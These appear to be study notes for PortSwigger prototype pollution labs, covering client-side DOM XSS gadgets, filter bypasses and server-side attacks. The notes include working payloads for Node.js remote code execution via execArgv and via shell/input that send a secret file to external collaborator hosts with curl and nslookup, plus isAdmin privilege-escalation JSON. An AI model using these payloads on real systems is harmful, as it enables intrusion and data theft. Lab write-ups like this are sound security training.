Prototype Pollution - PortSwigger

TIPS

  • Payloads
?__proto__[foo]=bar
?__proto__.foo=bar
?__pro__proto__to__[foo]=bar
#__proto__[foo]=bar    --> jQuery (<1.12 / <2.2)
  • DOM Invader

  • Server-Side (JSON Prototype Pollution)
{
	"address_line_1":"Wiener HQ",
	"address_line_2":"One Wiener Way",
	"city":"Wienerville",
	"postcode":"BU1 1RP",
	"country":"UK",
	"sessionId":"omUQ4NlX9WFFGSgKEM1UXt35LYAaK8ip",
	"__proto__":{
		"isAdmin":"true"
	}
}
{
	"address_line_1":"Wiener HQ",
	"address_line_2":"One Wiener Way",
	"city":"Wienerville",
	"postcode":"BU1 1RP",
	"country":"UK",
	"sessionId":"omUQ4NlX9WFFGSgKEM1UXt35LYAaK8ip",
	"constructor":{
		"prototype":{
			"isAdmin":true
		}
	}
}
{
	"address_line_1":"Wiener HQ",
	"address_line_2":"One Wiener Way",
	"city":"Wienerville",
	"postcode":"BU1 1RP",
	"country":"UK",
	"sessionId":"omUQ4NlX9WFFGSgKEM1UXt35LYAaK8ip",
	"__proto__":{
		"json spaces":20
	}
}

Observe spaces in the JSON result.

  • NodeJS Remote Execution via execArgv
- NSLOOKUP -

{
	"__proto__":{
		"execArgv":[
			"--eval=require('child_process').execSync('nslookup $(cat /home/carlos/secret).9oyvfbvkxivd5kgpav5krzvmfdl490xp.oastify.com')"
			]
	}
}

- CURL -
  
{
	"__proto__":{
		"execArgv":[
			"--eval=require('child_process').execSync('curl --data-binary \"@/home/carlos/secret\" https://9oyvfbvkxivd5kgpav5krzvmfdl490xp.oastify.com')"
			]
	}
}
  • NodeJS Remote Execution via shell+input (vim)
{
	"__proto__":{
		"shell":"vim",
		"input":":! cat /home/carlos/secret | curl --data-binary @- https://fdw14hkqmokjuq5vz1uqg5ks4jaay8mx.oastify.com\n"
	}
}

Client-side prototype pollution via browser APIs

  • Manual

First we detect the ability to access the prototype using the __proto__ method. Once we have the ability to insert properties into the prototype we need to find a gadget that will execute our polluted prototype.

async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);

Inside the source code we find a JavaScript file where we can abuse the prototype. The vulnerable part of the file is the following:

Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

In this block a property is being defined for the object config.transport_url. The vulnerability occurs by not specifying a value when using defineProperty leaving the situation like this:

config.transport_url.value = undefined

Following the premise of using value, by injecting the property value into the prototype we see that the result would be something like:

config.transport_url.value = testing123

To take advantage of this situation within the context of the src attribute when loading a script we can use data. This is possible because the browser tries to load content of type testing123. When it fails it executes the javascript content followed by the comma.

  • DOM Invader

The DOM Invader extension detects the possible access to the prototype.

We scan for gadgets and see that the extension finds a potential path to execute JavaScript code.

DOM XSS via client-side prototype pollution

  • Manual

We detect possible access to the prototype using the __proto__ method.

async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);

Reviewing the source code we find a JavaScript file. If we analyze the file we see that an object config is being created which contains the property params. However in the next line a check is made on the property transport_url which is empty, that is undefined. Knowing this we have found the gadget to exploit the prototype pollution. It would be the property transport_url.

Like the previous lab we exploit data to trick the browser and execute a JavaScript code inside the script tag src attribute context.

  • DOM Invader

Using the extension we detect possible access to the prototype.

We perform a gadget scan and the extension detects a potential path to execute malicious JavaScript inside the context of a script tag src attribute.

DOM XSS via an alternative prototype pollution vector

  • Manual

When attempting to access the prototype with the __proto__ method we see we cannot modify the foo property.

To access the prototype we can try other alternatives like __proto__.foo=bar.

async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }
}

window.addEventListener("load", searchLogger);

Reviewing the source code we find a JavaScript file. Inside this file we find a use of the eval() function which allows execution of JavaScript in certain contexts. To find the gadget we notice the object manager.sequence is within the context of some operators.

When attempting to execute the JavaScript we see a syntax error. This is because the actual query behind it would be something like:

eval('if(manager && manager.sequence){ manager.macro('+alert(1)1+') }');

The syntax error occurs due to the 1 that is added when creating the property manager.sequence.

For the syntax to be valid and allow us to execute JavaScript we simply have to add an operator at the end. That way the final query would look like:

eval('if(manager && manager.sequence){ manager.macro('+alert(1)-1+') }');
  • DOM Invader

Using the extension we find a way to access the prototype using another syntax when using the __proto__ method.

We run the gadget scan and observe the extension detects a potential vector to execute JavaScript via the eval() function.

When executing the exploit generated by the extension we see a syntax error inside the JavaScript code.

We go to the file where the error is and see that the error lies in creating the manager.sequence property. The script adds a 1 and that makes the final query like:

eval('if(manager && manager.sequence){ manager.macro('+alert(1)1+') }');

To fix this we add an operator at the end so the final query would be executing:

eval('if(manager && manager.sequence){ manager.macro('+alert(1)-1+') }');

Client-side prototype pollution via flawed sanitization

  • Manual

Reviewing the source code we find a file that sanitizes prototype pollution injections. This sanitization replaces the words constructor, __proto__, prototype.

Knowing this we can take advantage of the replacement of the word __proto__ in such a way that we would get a result like this:

- BEFORE SANETIZED -

__pro__DELETED__to__[foo]=bar

- AFTER SANETIZED -
  
__proto__[foo]=bar

If we keep reading the source code we find the gadget. In this case it would again be the property config.transport_url which is not defined at any time, that is it would be undefined.

  • DOM Invader

Using the extension we see how to bypass the sanitization and access the prototype.

We perform a gadget scan and the extension detects a path that could execute JavaScript inside the context of a script tag src attribute.

Client-side prototype pollution in third-party libraries

  • Manual

We see that the jQuery version is very old. In jQuery versions (<1.12 / <2.2) we can access the prototype via the url hash.

We review all possible gadgets in the JavaScript files.

We start the debugger mode by modifying a response.

To find the gadget we can use the following script:

Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})

This script uses the property you specify and notifies us if that property is used.

  • DOM Invader

Using the extension we detect an injection in the url hash.

With the gadget scan we detect a potential vector to execute JavaScript in the setTimeout() function.

Privilege escalation via server-side prototype pollution

We insert a new property into the prototype within the JSON body. This allows us to modify the user object because the server behind trusts properties inherited from the prototype as well as the object’s own properties.

We change the isAdmin property of the object to true.

Detecting server-side prototype pollution without polluted property reflection

We try to inject a property into the prototype but we see no sign that the injection succeeded.

However by forcing an error in the JSON body we see that the response error object does reflect this injected property.

To confirm the vulnerability we modify some property that does not break the server’s functionality such as status

Bypassing flawed input filters for server-side prototype pollution

Once we tried to inject a property into the prototype via __proto__ we can try another alternative such as constructor.

We modify the isAdmin property taking into account that the server allows properties inherited from the prototype.

Remote code execution via server-side prototype pollution

We identify the injection of properties into the prototype.

We see that we have the option to run maintenance tasks. The server is probably running scripts in processes isolated from the main thread to avoid blocking the server.

Knowing this we can execute commands thanks to the execArgv property. This property is automatically executed by NodeJS when it runs a process as a separate script from the main thread. In NodeJS if you do not pass an option to the process it automatically executes process.execArgv. The –eval function allows executing JavaScript in NodeJS which, thanks to the child_process module, lets us execute system-level commands.

Exfiltrating sensitive data via server-side prototype pollution

We detect the injection of a property into the prototype.

We try to execute commands in the same way as the previous lab and see that we cannot run commands. However there is another way to run commands in NodeJS using the properties:

  1. shell -> Indicates the type of shell we will use (sh, vim…).
  2. input -> Indicates the command that we will pass to the shell.